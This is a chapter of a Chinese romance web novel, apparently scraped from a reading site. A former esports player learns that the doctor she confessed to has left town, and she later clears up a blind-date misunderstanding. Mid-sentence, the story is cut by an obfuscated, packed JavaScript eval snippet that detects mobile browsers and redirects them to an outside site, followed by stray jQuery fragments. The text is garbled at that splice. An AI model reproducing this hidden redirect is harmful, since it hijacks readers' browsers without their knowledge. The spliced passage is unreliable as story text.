27.第二十七味药
作品:《无药可医》 沈灯心做了个噩梦。
梦里的左京墨诀别的向她挥着手,转身走进一片白昼,消失不见。
她发了疯一样的找他,却怎么都找不到。
恍惚着睁开眼,沈灯心摸了摸眼角干涸的泪痕,心脏仿佛还停留在那个噩梦里,隐隐作痛。
她推开主卧的门,双眼一阵刺痛,次卧的阳光直直地打到她身上。
抬手避开些许锋芒,她缓冲了几秒过后,这才看清了次卧的场景。
整洁的桌面空无一物,他睡过的床上只剩下了一张床垫。
沈灯心定在原地。
他这是打算,不和自己合租了吗?
打开手机,她想给左京墨发消息,问他去哪儿了。转念一想,他已经把自己拉黑,消息发也发不出去。
拨打他的电话,机械女音一味的重复着对方正忙请稍后再拨几字,听的她心情直跌谷底。
走到厨房,熟悉的保鲜盒里空无一物,他没有做甜品,冰箱里也没有他做好的菜。
他生活过的痕迹被他亲自抹去,记忆却储存在沈灯心的脑海里,挥之不去。
手机响了一下,她匆忙点开。
是齐正阳打来的电话。
“怎么了?”她声音发闷,躺到沙发上。
齐正阳懒洋洋的,应该是刚睡醒没过多久:“没什么事,就想问问你怎么样,吐了没?”
“没有。”
她信手扯谎,没什么聊天的心思,“你要是没啥事就挂了吧,烦着呢。”
“怎么了?跟你前任发生啥了?”
“他走了。”
齐正阳啊了一声:“昨天他人不是还好好的吗?怎么就…这么突然的吗?”
“……”
沈灯心更烦了,“我的意思是,他收拾行李离开家了,不知道去哪儿了。”
“你住他家了?”齐正阳捕捉到重点,提高音量,“还是说,你俩已经同居了?”
沈灯心:“我没和你说过吗?”
齐正阳跳脚:“你什么时候和我说过?”
“行了行了,那都不是重点!”她把抱枕扔在地上,毛毛躁躁的,“重点是,我昨天晚上,跟他表白了。”
电话那头传来一阵类似于抢夺手机的声音,再出声的时候,已经换了个人。
“不错嘛。”庄诚义把齐正阳摁在椅子上,自己接着话题往下说,“看来我昨天的开导还是有点用的啊,孺子可教也。”
“……”
“你们搞什么窃听风云?”
沈灯心的忍耐快到达极限,就差打辆车回到俱乐部痛扁他们一顿,“你昨天说话说那么难听,我还没跟你算账呢,你倒好,自己送上门了是吧?”
“错了错了,心姐,小弟错了,”庄诚义连连道歉:“不过,我现在更想知道,你表白成功了没?”
“那个男的昨天抱你的时候,和某国电视剧里的阿加西一样,自带BGM。内建模脸,给哥们几个都看傻了。”
“还有,他眼睛里面的心疼呦,简直都要溢出来了,啧啧啧……”
“……”
哪壶不开提哪壶,打对抗路的脑袋是不是都缺根弦。
沈灯心越听越烦,将手机摔在一旁,直接挂了。
-
地铁上的人很多。
你挤我我挤你的,沈灯心站在中央,差点成了夹心饼干。
拿着大包小包的男人从她身边走过,黑色包里不知道放了什么东西,四四方方的,硬的出奇。
“借过一下。”
他光顾着往前冲,完全没注意到在她身后的沈灯心,包就这么直接的撞向她。
钝痛从胳膊处出来,沈灯心想发火,一抬眼又看见男人充满歉意的神情。
“抱歉。”
“没事……”
过激的话滚到嘴边,她瘪嘴,硬生生的咽了下去,一路着急忙慌的赶到诊所。
导诊台的护士见到她,友好的打了个招呼。
“沈小姐来了啊。”
她点了点头,四处张望了一下,问道:“今天左医生出门诊了吗?”
导诊台护士摇头:“没,我正要和您说呢,您今天得找五诊室的谭医生扎针。”
“这样啊……”
她垂眸,勉强露出一个笑,转身向五诊室走去。
推开诊室大门,谭明臣翘腿而坐,显然等她已久。
“你又怎么惹他了?”
他问的直接了当,站起身,围着沈灯心转了一圈,“今天我刚睁眼,便看到他给我发了消息,说要回天城一趟,还让我全权接手你的后续理疗。”
“我想多问两句,但这家伙也不回我,唯一的突破口,就只能在你这儿了。”
他停在沈灯心面前,环臂问道:“说吧,你们之间,发生了什么?”
“……”
“没发生什么。”
快步坐到椅子上,沈灯心咬着唇,还是没忍住问出口:“他去天城干什么去了?”
“我不确定,”谭明臣说,“但大概率是去参加研讨会的吧,他在天城的学术界挺权威,上次着急见你这才请假回来的。”
“那他,还回来吗?”
谭明臣眯了眯眼,推开理疗仪:“如果你想知道答案的话,请你先回答我的问题。”
“……”
沈灯心不说话了。
发现她没上套,谭明臣还有些不甘,继续追问:“话又说回来,他回天城了你不应该开心吗?你的手伤迟早会有恢复的那天,与其到时候让你再伤他一次,还不如就此断了。”
“感情这种事,一旦有前科,就很难再复原如初了。”
窗外的空调外机轰轰作响,老式空调年久失修,出风口滴着水。
意外的有些冷。
沈灯心搓了搓胳膊,不明白为什么自己越烦,这些人越要像无头苍蝇一样往她身上撞,是不是闲的?
“有没有人和你说过。”
她攥拳,“你真的很吵。”
“嗯哼。”谭明臣对这话的反应淡淡,“在对我的评价上,你们俩倒是出奇的一致。”
他拉过沈灯心的手腕,冰凉的贴片贴到手腕上,一阵一阵的电流涌来,带动着她的肌肉经络,控制不住的发抖。
就理疗这方面,谭明臣的医术确实不如左京墨。
又或者,左京墨给予她的,一直都是特殊待遇。
治疗结束,谭明臣依着左京墨的药方给她开药,将单子递过去时,沈灯心没头没尾的说了一句话。
“左京墨他最近,在和一个女生相亲。”
衣角被手指攥出褶皱,她继续补充:“上次,我看到他和一个女生,一起去西餐厅吃饭…他还给那个女生披衣服……”
“然后呢?”
“然后我就跑了。”她声音更低了些,“他有和你说过这件事吗?”
“说过啊。”
“那他说什么?他对那个女生有好感吗?”
谭明臣注视着她,玩味的笑了笑:“呦,这么急啊?但你这人也太没诚意了,我还是那句话,先回答我的问题,一来一回才有意思。”
“……”
沈灯心在要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325557|181981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面子和要男人之间取舍了一下,最终还是败给了自己的心。
“我昨天,向他告白了。”
话语落下的瞬间,谭明臣不可置信的瞪大了眼睛,一双狭长的狐狸眼瞪的溜圆。
他看着沈灯心那张黯然神伤的脸,一个猜想从心头浮现,试探性的问她:
“左京墨没同意?”
“嗯。”
她轻轻的嗯了一声,说出剩下几个字的时候声音都在抖,“昨天是他的生日,但我忘了,晚上又参加了队友的生日聚会。”
“而且,我违背医嘱,擅自喝酒,前几天还把他精心给我做的糕点扔了……”
“……”
这次轮到谭明臣沉默。
他刚想大骂沈灯心一句活该,却听见她继续说:“其实我也不是故意的,自从他隐瞒相亲被我发现后,我整个人都乱了,想跟他闹别扭又没身份,这才……”
“你没张嘴的啊?”
他皱眉,面部肌肉拧在一起,声音高昂:“但凡你问他一句呢?”
“……”
“好了,告诉你吧。”谭明臣别过头,似乎并不想提:“他那天见面的女的,是我前任。”
“他俩家里面有合作,我估计是双双被催婚了,这才出去相亲应付一下的。”
“至于他为什么瞒着你,我猜应该是不想造成误会吧。”
将相亲一事的误会解开,他深吸了一口气:“不过,你也是个天才。”
“连喜欢的人生日都能忘,好歹你们还在一起过一阵子吧?”
沈灯心的鼻头一酸。
想起她和左京墨刚重逢的那两天,她曾试图打开他的电脑。
那个时候,她其实就已经记不起他的生日了,但当时她没想过,自己会再和这个男人有瓜葛。
所以,也没有放在心上。
可就是这么个不起眼的细节,竟会成为左京墨拒绝她的,最有力的,最让她无法反驳的理由。
-
日落斜阳,橙和蓝的渐变构成一条天际线。
沈灯心回到家,随意脱下鞋。
刚才路过小吃街,买了份二十块钱的章鱼小丸子,里面的章鱼腿又小又咸,难吃到她差点哭爹喊娘。
家里没饭,她也不愿意点外卖,失魂落魄的走到客厅时,瞥见了中午被她扔在地上的抱枕。
胃里猛地痉挛了一下。
像是有数只火蚁四处乱爬,啃食她的胃肠粘膜。
她这才意识到一个事情。
每天晚上,她回家的时候,总会跑到沙发上躺下,将抱枕随意安放。
但等到早上,她就会看见一个自动归位的抱枕,以及,被擦的干干净净的真皮沙发。
这世界上没有田螺姑娘,更没有田螺小子。
沈灯心平日里是个挺“粗糙”的人,她的粗糙有很大一部分,归功于占据了她大部分青春的俱乐部时光上。她不需要想很多事情,只需要有人将“冠军”两字用绳吊起来,她就会蹭蹭蹭的跟着这两个字跑。
一直以来,她没有什么除了冠军以外特别想要的东西,也不喜欢向别人索取。
因为她还不起。
可左京墨这人好像天生就很克她。
他没问过她需要什么,因为他能猜出来,打职业五年,沈灯心除冠军外再无所求。
而冠军是他唯一给不了的东西。
所以,他在他力所能及的范围内,默默的,尽全力的给到极致,且不在乎她是否发现。
细节是最难以窥见的东西。
也是最能打动人的东西。